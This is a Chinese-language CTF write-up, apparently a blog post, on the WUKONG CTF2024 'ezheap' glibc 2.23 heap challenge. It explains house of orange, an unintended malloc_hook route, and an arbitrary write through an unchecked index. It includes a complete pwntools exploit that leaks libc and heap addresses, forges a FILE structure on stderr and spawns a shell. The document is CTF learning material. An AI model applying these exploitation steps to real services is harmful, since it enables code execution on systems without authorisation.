house of orange新理解-无idx上限检查的任意地址写任意值
  • house of orange攻击流程没什么好说的,但笔者之前一直认为就只是把top chunk放入unsorted bin,然后修改unsorted bin的bk为IO_list_all-0x10,之后add一个大的chunk实现unsorted bin attack的同时出发malloc_assert直接走IO拿到shell
  • 这里以WUKONG CTF2024 ezheap为例记录一下新的理解

题目分析

  • Partial RELRO,NO PIE ,libc2.23
  • add和edit都有0x1000的长度,很明显的溢出。没有delete,同时show只能show前8个字节
  • 显然要用house of orange来泄露libcbase,但是究竟如何泄露heapbase感觉有些困难

官方wp

  • 泄露libcbase还是利用house of orange
    但是不要把思维局限了,这个题还有个NO PIE 限制,那么就可以把unsorted bin的bk修改为chunklist加减偏移,这样bss段是可写的,malloc之后也不会有malloc_assert触发,同时可以edit unsorted bin,那么泄露了heapbase后还可以继续申请堆块,那么就可以继续打原来的IO了
  • 最终效果如图所示

非预期解

  • 在mmap区域构造top chunk,同时再add一个比top chunk大的chunk来让这个top chunk进入fastbin
  • 错位构造打malloc_hook然后ogg
  • 可以发现house of orange让top chunk进入unsorted bin会让其size减少0x20,后面构造的时候也要注意

  • 这里已经是在mmap区域伪造top chunk了,要注意这里也要注意0x1000对齐,可以看到0x426f78处的size为0x91,0x426f70+0x90刚好是0x1000对齐

  • 再add一个比0x90大的chunk,那么这个top chunk就会进入fastbin

  • 这里就可以不用再打IO了,直接打错位构造打malloc_hook然后ogg

house of orange新理解

  • 注意到这里的chunk_size还有一个字节的溢出

  • 那么这个就可以修改chunk0的最低一个字节,那么这里就可以修改ck0然后show前ck0的8个字节就能得到heapbase。解释一下这里的内容,如图0x23c9040处存的是堆地址,然后chunklist的ck0是0x23c9010,通过这一个字节的溢出,可以让chunklist存的0x23c9010变成0x23c9040,那么show(0)就可以得到heapbase了

下面来到最核心的部分

  • 同时注意到通过mmap得到的区域距离堆的偏移是固定的,同时idx还是没有上限的!!!
  • 注意这里的指针关系,我们让mmap_addr存的值为任意target_addr,然后计算合理的偏移,如下图所示,那么就可以实现任意地址的写,就是往target中写入任意值

  • 这里就可以通过edit(mmap_addr[0]=stderr)来实现任意地址写任意值!!!

  • 然后直接exit(0)走IO就行了
  • exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('110.40.35.73',33715)
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
    gdb.attach(p,'b *0x401560')
    pause()

menu=">"
def add(size,cont):
    p.sendlineafter(menu,str(1))
    p.sendlineafter("Size :",str(size))
    p.sendafter("Content :",cont)

def edit(idx,size,cont):
    p.sendlineafter(menu,str(2))
    p.sendlineafter("Index :",str(idx))
    p.sendlineafter("Size :",str(size))
    p.sendafter("Content :",cont)

def show(idx):
    p.sendlineafter(menu,str(3))
    p.sendlineafter("Index :",str(idx))

# dbg()
add(0x10,'a')
edit(0,0x40,b'b'*0x18+p64(0xfe1))
add(0x1000,'c'*8)

add(0x10,b'\x78')
show(2)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3c5178
print(hex(libc_base))

io_list_all=libc_base+libc.symbols['_IO_list_all']
stderr=libc_base+libc.symbols['_IO_2_1_stderr_']
sys_addr=libc_base+libc.symbols['system']

for i in range(0x20-2):
    add(0x40,'a')

show(0)
print(p.recv(8))
heapbase=u64(p.recv(8))-0x20

edit(1,0x40,p64(stderr))
chunklist=0x4040E0
offset=(heapbase-chunklist+0x021010)//8
print(offset)
# dbg()

payload=b'/bin/sh\x00'+p64(0) 
payload+=p64(0)+p64(0) #old top chunk fd & bk
payload+=p64(0)+p64(1)#_IO_write_base & _IO_write_ptr
payload=payload.ljust(0x88,b'\x00')+p64(heapbase+0x1500) #lock
payload=payload.ljust(0xd8,b"\x00")
payload+=p64(heapbase+0x50)
# dbg()
edit(3,0x50,p64(sys_addr)*8)
# dbg()
edit(offset,0x1000,payload)

p.sendlineafter(menu,str(1))
# p.sendlineafter("Size :",str(0x1500))

p.interactive()

后记

  • 有任意地址写任意值也可以打malloc_hook来打ogg
  • 其实还可以这样打,虽然得到heapbase后不可以再malloc(因为堆块次数已达上限),但是可以通过scanf一个很大的数来实现malloc从而触发malloc_assert来走IO
  • 这样的话就正常打house of orange就可以

小结

  • 与传统的house of orange只可以任意地址写main_arena附近的值不同(这个值只能是很大的值,构造IO很方式很固定),当无idx上限检查的时候,可以通过往mmap_addr处写入target,计算好偏移,然后edit(mmap_addr[0]=target)即可实现任意地址写任意值
0 条评论
某人
表情
可输入 255